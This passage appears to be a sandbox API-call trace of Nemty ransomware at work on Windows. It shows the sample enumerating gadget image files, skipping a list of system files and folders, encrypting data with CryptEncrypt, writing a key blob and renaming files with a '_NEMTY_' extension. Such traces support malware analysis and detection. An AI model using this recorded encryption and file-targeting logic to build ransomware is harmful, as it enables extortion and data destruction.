lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a01d5b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a01d5b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38cff457, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61bd, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="5.png", cAlternateFileName="")) returned 1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2=".") returned 1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="..") returned 1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="...") returned 1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="windows") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="$RECYCLE.BIN") returned 1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="rsa") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="NTDETECT.COM") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="ntldr") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="MSDOS.SYS") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="IO.SYS") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="boot.ini") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="boot.ini") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="AUTOEXEC.BAT") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="ntuser.dat") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="desktop.ini") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="CONFIG.SYS") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="RECYCLER") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="BOOTSECT.BAK") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="bootmgr") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="programdata") returned -1 [0135.832] lstrcmpiW (lpString1="5.png", lpString2="appdata") returned -1 [0135.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5.png", lpUsedDefaultChar=0x0) returned 5 [0135.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5.png", lpUsedDefaultChar=0x0) returned 5 [0135.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5.png", lpUsedDefaultChar=0x0) returned 5 [0135.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5.png", lpUsedDefaultChar=0x0) returned 5 [0135.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0135.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0135.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0135.833] Sleep (dwMilliseconds=0x5) [0135.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x4a24cf0, dwHighDateTime=0x1d561e8)) [0135.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x4a24cf0, dwHighDateTime=0x1d561e8)) [0135.874] GetLastError () returned 0x5 [0135.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0135.874] GetLastError () returned 0x5 [0135.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0135.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0135.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0135.874] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0135.874] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0135.874] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0135.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0135.874] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="+qTaU0bLym7MqOFohjYICj936AjlrhuemHZLarTD46ZJav4mmhrtdCcx/RtdgFBy\r\nwu+OeFpH6HJlHK9ZTuuOb3qnF6vFQczxVKYZ9ZsQkbxC3JH3TZHp7X+DS8GXuBOZ\r\n3F88SuZ7ZvtmOifmO54PkOr0B2eXT3qSQPyhpK4d5t+DYyPaH+s7YKxc/dQGemdn\r\nw2cpsNghSCDZi+XdxUGKp4M4+ThGGiwAv/jNTvKceGSQQN6+7gqhe1ugEgL8D+j2\r\njhejqGgYEdsK/MWJiUm1gCRUhbt1ZTH+3UbzEIA4Aiu+CDHBtFp67LSQJIWih3yh\r\ni4qL8hTkDHyjyNDs6DXUXg==\r\n", pcchString=0x653e91c) returned 1 [0135.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0135.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0135.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0135.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0135.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0135.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0135.874] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\5.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.921] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0135.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0135.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.921] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.986] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.005] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.005] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.014] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.014] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.080] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.090] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.099] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.109] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.109] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.115] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.115] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.121] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.121] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0136.121] CloseHandle (hObject=0xffffffff) returned 0 [0136.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0136.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0136.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0136.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0136.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0136.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0136.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0136.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0136.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0136.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0136.121] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\5.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\5.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\5.png._nemty_kgobjgd_")) returned 0 [0136.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0136.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0136.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0136.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0136.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0136.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0136.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0136.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0136.122] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a01d5b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a01d5b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39103941, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6f20, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="6.png", cAlternateFileName="")) returned 1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2=".") returned 1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="..") returned 1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="...") returned 1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="windows") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="$RECYCLE.BIN") returned 1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="rsa") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="NTDETECT.COM") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="ntldr") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="MSDOS.SYS") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="IO.SYS") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="boot.ini") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="boot.ini") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="AUTOEXEC.BAT") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="ntuser.dat") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="desktop.ini") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="CONFIG.SYS") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="RECYCLER") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="BOOTSECT.BAK") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="bootmgr") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="programdata") returned -1 [0136.122] lstrcmpiW (lpString1="6.png", lpString2="appdata") returned -1 [0136.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6.png", lpUsedDefaultChar=0x0) returned 5 [0136.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6.png", lpUsedDefaultChar=0x0) returned 5 [0136.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6.png", lpUsedDefaultChar=0x0) returned 5 [0136.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6.png", lpUsedDefaultChar=0x0) returned 5 [0136.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0136.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0136.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0136.123] Sleep (dwMilliseconds=0x5) [0136.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x4cd25b0, 